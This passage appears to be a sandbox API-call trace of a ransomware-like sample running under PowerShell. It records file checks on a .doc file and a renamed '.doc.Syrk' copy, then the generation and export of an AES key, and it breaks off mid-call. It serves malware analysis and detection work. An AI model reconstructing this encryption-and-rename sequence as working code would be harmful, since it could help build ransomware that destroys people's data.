(lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc")) returned 1 [0221.534] EtwEventActivityIdControl () returned 0x0 [0221.534] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.535] EtwEventActivityIdControl () returned 0x0 [0221.535] EtwEventActivityIdControl () returned 0x0 [0221.535] EtwEventActivityIdControl () returned 0x0 [0221.543] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc.syrk")) returned 0x20 [0221.544] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc.syrk")) returned 0x20 [0221.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0221.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk", lpFilePart=0x0) returned 0x50 [0221.544] EtwEventActivityIdControl () returned 0x0 [0221.545] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.545] EtwEventActivityIdControl () returned 0x0 [0221.545] EtwEventActivityIdControl () returned 0x0 [0221.545] EtwEventActivityIdControl () returned 0x0 [0221.549] EtwEventActivityIdControl () returned 0x0 [0221.549] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.549] EtwEventActivityIdControl () returned 0x0 [0221.550] EtwEventActivityIdControl () returned 0x0 [0221.550] EtwEventActivityIdControl () returned 0x0 [0221.553] EtwEventActivityIdControl () returned 0x0 [0221.554] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.554] EtwEventActivityIdControl () returned 0x0 [0221.554] EtwEventActivityIdControl () returned 0x0 [0221.554] EtwEventActivityIdControl () returned 0x0 [0221.558] EtwEventActivityIdControl () returned 0x0 [0221.558] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.558] EtwEventActivityIdControl () returned 0x0 [0221.558] EtwEventActivityIdControl () returned 0x0 [0221.558] EtwEventActivityIdControl () returned 0x0 [0221.562] EtwEventActivityIdControl () returned 0x0 [0221.562] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.562] EtwEventActivityIdControl () returned 0x0 [0221.562] EtwEventActivityIdControl () returned 0x0 [0221.562] EtwEventActivityIdControl () returned 0x0 [0221.566] EtwEventActivityIdControl () returned 0x0 [0221.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dc54) returned 1 [0221.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc.syrk"), fInfoLevelId=0x0, lpFileInformation=0x253a5d0 | out: lpFileInformation=0x253a5d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142110, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x142110, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1da690, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x4584)) returned 1 [0221.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dc50) returned 1 [0221.713] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e548 | out: lpConsoleScreenBufferInfo=0x5a2e548) returned 1 [0221.714] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e540 | out: lpMode=0x5a2e540) returned 1 [0221.714] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e534, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e534*=0x2) returned 1 [0221.959] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4ec | out: lpConsoleScreenBufferInfo=0x5a2e4ec) returned 1 [0221.960] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0221.960] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e538 | out: lpMode=0x5a2e538) returned 1 [0221.961] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e52c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e52c*=0x2) returned 1 [0221.961] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e550 | out: lpConsoleScreenBufferInfo=0x5a2e550) returned 1 [0221.962] GetConsoleOutputCP () returned 0x1b5 [0221.962] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c0) returned 0 [0221.962] GetConsoleOutputCP () returned 0x1b5 [0221.962] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c0) returned 0 [0221.962] GetConsoleOutputCP () returned 0x1b5 [0221.962] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c0) returned 0 [0221.963] GetConsoleOutputCP () returned 0x1b5 [0221.963] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c0) returned 0 [0221.963] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3a0 | out: lpConsoleScreenBufferInfo=0x5a2e3a0) returned 1 [0221.963] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e398 | out: lpMode=0x5a2e398) returned 1 [0221.964] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x255535c*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x5a2e38c, lpReserved=0x0 | out: lpBuffer=0x255535c*, lpNumberOfCharsWritten=0x5a2e38c*=0x4d) returned 1 [0221.964] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e398 | out: lpMode=0x5a2e398) returned 1 [0221.964] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e38c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e38c*=0x2) returned 1 [0221.965] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3a0 | out: lpConsoleScreenBufferInfo=0x5a2e3a0) returned 1 [0221.966] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e398 | out: lpMode=0x5a2e398) returned 1 [0221.966] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x255541c*, nNumberOfCharsToWrite=0x8, lpNumberOfCharsWritten=0x5a2e38c, lpReserved=0x0 | out: lpBuffer=0x255541c*, lpNumberOfCharsWritten=0x5a2e38c*=0x8) returned 1 [0221.966] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e398 | out: lpMode=0x5a2e398) returned 1 [0221.967] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e38c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e38c*=0x2) returned 1 [0221.967] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4a8 | out: lpConsoleScreenBufferInfo=0x5a2e4a8) returned 1 [0221.968] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4a0 | out: lpMode=0x5a2e4a0) returned 1 [0221.968] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e494, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e494*=0x2) returned 1 [0221.969] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0221.969] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e538 | out: lpMode=0x5a2e538) returned 1 [0221.969] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e52c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e52c*=0x2) returned 1 [0221.970] GetConsoleOutputCP () returned 0x1b5 [0221.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0221.970] GetConsoleOutputCP () returned 0x1b5 [0221.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0221.971] GetConsoleOutputCP () returned 0x1b5 [0221.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3b4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3b4) returned 0 [0221.971] GetConsoleOutputCP () returned 0x1b5 [0221.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3b4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3b4) returned 0 [0221.972] GetConsoleOutputCP () returned 0x1b5 [0221.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0221.972] GetConsoleOutputCP () returned 0x1b5 [0221.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0221.972] GetConsoleOutputCP () returned 0x1b5 [0221.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3b4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3b4) returned 0 [0221.972] GetConsoleOutputCP () returned 0x1b5 [0221.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3b4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3b4) returned 0 [0221.973] GetConsoleOutputCP () returned 0x1b5 [0221.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0221.973] GetConsoleOutputCP () returned 0x1b5 [0221.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0221.973] GetConsoleOutputCP () returned 0x1b5 [0221.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3b4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3b4) returned 0 [0221.974] GetConsoleOutputCP () returned 0x1b5 [0221.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3b4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3b4) returned 0 [0221.974] GetConsoleOutputCP () returned 0x1b5 [0221.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0221.974] GetConsoleOutputCP () returned 0x1b5 [0221.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0221.974] GetConsoleOutputCP () returned 0x1b5 [0221.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3b4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3b4) returned 0 [0221.974] GetConsoleOutputCP () returned 0x1b5 [0221.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3b4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3b4) returned 0 [0221.975] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4a0 | out: lpConsoleScreenBufferInfo=0x5a2e4a0) returned 1 [0221.975] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e498 | out: lpMode=0x5a2e498) returned 1 [0221.975] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2555d40*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e48c, lpReserved=0x0 | out: lpBuffer=0x2555d40*, lpNumberOfCharsWritten=0x5a2e48c*=0x4f) returned 1 [0221.976] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e498 | out: lpMode=0x5a2e498) returned 1 [0221.976] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e48c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e48c*=0x2) returned 1 [0221.977] GetConsoleOutputCP () returned 0x1b5 [0221.977] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e474) returned 0 [0221.977] GetConsoleOutputCP () returned 0x1b5 [0221.977] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e474) returned 0 [0221.977] GetConsoleOutputCP () returned 0x1b5 [0221.978] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e474) returned 0 [0221.978] GetConsoleOutputCP () returned 0x1b5 [0221.978] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e474) returned 0 [0221.978] GetConsoleOutputCP () returned 0x1b5 [0221.978] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e404, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e404) returned 0 [0221.978] GetConsoleOutputCP () returned 0x1b5 [0221.978] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e404, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e404) returned 0 [0221.978] GetConsoleOutputCP () returned 0x1b5 [0221.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e404, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e404) returned 0 [0221.979] GetConsoleOutputCP () returned 0x1b5 [0221.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e404, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e404) returned 0 [0221.979] GetConsoleOutputCP () returned 0x1b5 [0221.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e404, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e404) returned 0 [0221.979] GetConsoleOutputCP () returned 0x1b5 [0221.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e404, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e404) returned 0 [0221.979] GetConsoleOutputCP () returned 0x1b5 [0221.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e404, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e404) returned 0 [0221.980] GetConsoleOutputCP () returned 0x1b5 [0221.980] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e404, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e404) returned 0 [0221.980] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4a0 | out: lpConsoleScreenBufferInfo=0x5a2e4a0) returned 1 [0221.980] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e498 | out: lpMode=0x5a2e498) returned 1 [0221.980] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25561e8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e48c, lpReserved=0x0 | out: lpBuffer=0x25561e8*, lpNumberOfCharsWritten=0x5a2e48c*=0x4f) returned 1 [0221.981] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e498 | out: lpMode=0x5a2e498) returned 1 [0221.981] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e48c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e48c*=0x2) returned 1 [0221.982] GetConsoleOutputCP () returned 0x1b5 [0221.982] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0221.982] GetConsoleOutputCP () returned 0x1b5 [0221.982] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e40c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e40c) returned 0 [0221.982] GetConsoleOutputCP () returned 0x1b5 [0221.983] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3e8) returned 0 [0221.983] GetConsoleOutputCP () returned 0x1b5 [0221.983] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3e8) returned 0 [0221.983] GetConsoleOutputCP () returned 0x1b5 [0221.983] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0221.983] GetConsoleOutputCP () returned 0x1b5 [0221.983] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e40c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e40c) returned 0 [0221.983] GetConsoleOutputCP () returned 0x1b5 [0221.983] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3e8) returned 0 [0221.984] GetConsoleOutputCP () returned 0x1b5 [0221.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3e8) returned 0 [0221.984] GetConsoleOutputCP () returned 0x1b5 [0221.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0221.984] GetConsoleOutputCP () returned 0x1b5 [0221.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e40c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e40c) returned 0 [0221.984] GetConsoleOutputCP () returned 0x1b5 [0221.984] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3e8) returned 0 [0221.985] GetConsoleOutputCP () returned 0x1b5 [0221.985] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3e8) returned 0 [0221.985] GetConsoleOutputCP () returned 0x1b5 [0221.985] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0221.985] GetConsoleOutputCP () returned 0x1b5 [0221.985] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e40c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e40c) returned 0 [0221.985] GetConsoleOutputCP () returned 0x1b5 [0221.985] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3e8) returned 0 [0221.985] GetConsoleOutputCP () returned 0x1b5 [0221.986] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3e8) returned 0 [0221.986] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4d4 | out: lpConsoleScreenBufferInfo=0x5a2e4d4) returned 1 [0221.986] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4cc | out: lpMode=0x5a2e4cc) returned 1 [0221.986] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2556b64*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4c0, lpReserved=0x0 | out: lpBuffer=0x2556b64*, lpNumberOfCharsWritten=0x5a2e4c0*=0x4f) returned 1 [0221.987] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4cc | out: lpMode=0x5a2e4cc) returned 1 [0221.987] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4c0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4c0*=0x2) returned 1 [0221.988] EtwEventActivityIdControl () returned 0x0 [0221.989] EtwEventActivityIdControl () returned 0x0 [0221.989] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.990] EtwEventActivityIdControl () returned 0x0 [0221.990] EtwEventActivityIdControl () returned 0x0 [0221.990] EtwEventActivityIdControl () returned 0x0 [0221.992] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.992] EtwEventActivityIdControl () returned 0x0 [0221.993] EtwEventActivityIdControl () returned 0x0 [0221.993] EtwEventActivityIdControl () returned 0x0 [0222.008] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0222.010] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68b80) returned 1 [0222.010] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0222.010] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0222.010] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x235f10c, pdwDataLen=0x5a2e8c4 | out: pbData=0x235f10c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0222.010] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.011] EtwEventActivityIdControl () returned 0x0 [0222.011] EtwEventActivityIdControl () returned 0x0 [0222.011] EtwEventActivityIdControl () returned 0x0 [0222.012] SysStringLen (param_1="") returned 0x8 [0222.012] SysStringLen (param_1="Y") returned 0x8 [0222.012] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.013] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0222.013] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0222.013] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.013] SysStringLen (param_1="Yk") returned 0x8 [0222.013] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.013] SysStringLen (param_1="゛⸋ᗫᆒ⊃蜜⻮ᛚ") returned 0x8 [0222.013] SysStringLen (param_1="゛⸋ᗫᆒ⊃蜜⻮ᛚ") returned 0x8 [0222.014] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.014] SysStringLen (param_1="YkL") returned 0x8 [0222.014] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.014] SysStringLen (param_1="锬㼻䙙Ⰳ烟ꕲ") returned 0x8 [0222.014] SysStringLen (param_1="锬㼻䙙Ⰳ烟ꕲ") returned 0x8 [0222.014] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.014] SysStringLen (param_1="YkL1") returned 0x8 [0222.014] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.014] SysStringLen (param_1="摰덜㈏䨃矟쫄⇒ᡁ") returned 0x8 [0222.014] SysStringLen (param_1="摰덜㈏䨃矟쫄⇒ᡁ") returned 0x8 [0222.014] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.014] SysStringLen (param_1="YkL1M") returned 0x8 [0222.014] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.015] SysStringLen (param_1="闩攧阄ᦊ̣炏羔n") returned 0x8 [0222.015] SysStringLen (param_1="闩攧阄ᦊ̣炏羔n") returned 0x8 [0222.015] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.015] SysStringLen (param_1="YkL1MN") returned 0x8 [0222.015] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.015] SysStringLen (param_1="憐彌쭋ზ䮭櫓⯾썛") returned 0x8 [0222.015] SysStringLen (param_1="憐彌쭋ზ䮭櫓⯾썛") returned 0x8 [0222.015] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.015] SysStringLen (param_1="YkL1MNx") returned 0x8 [0222.015] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, 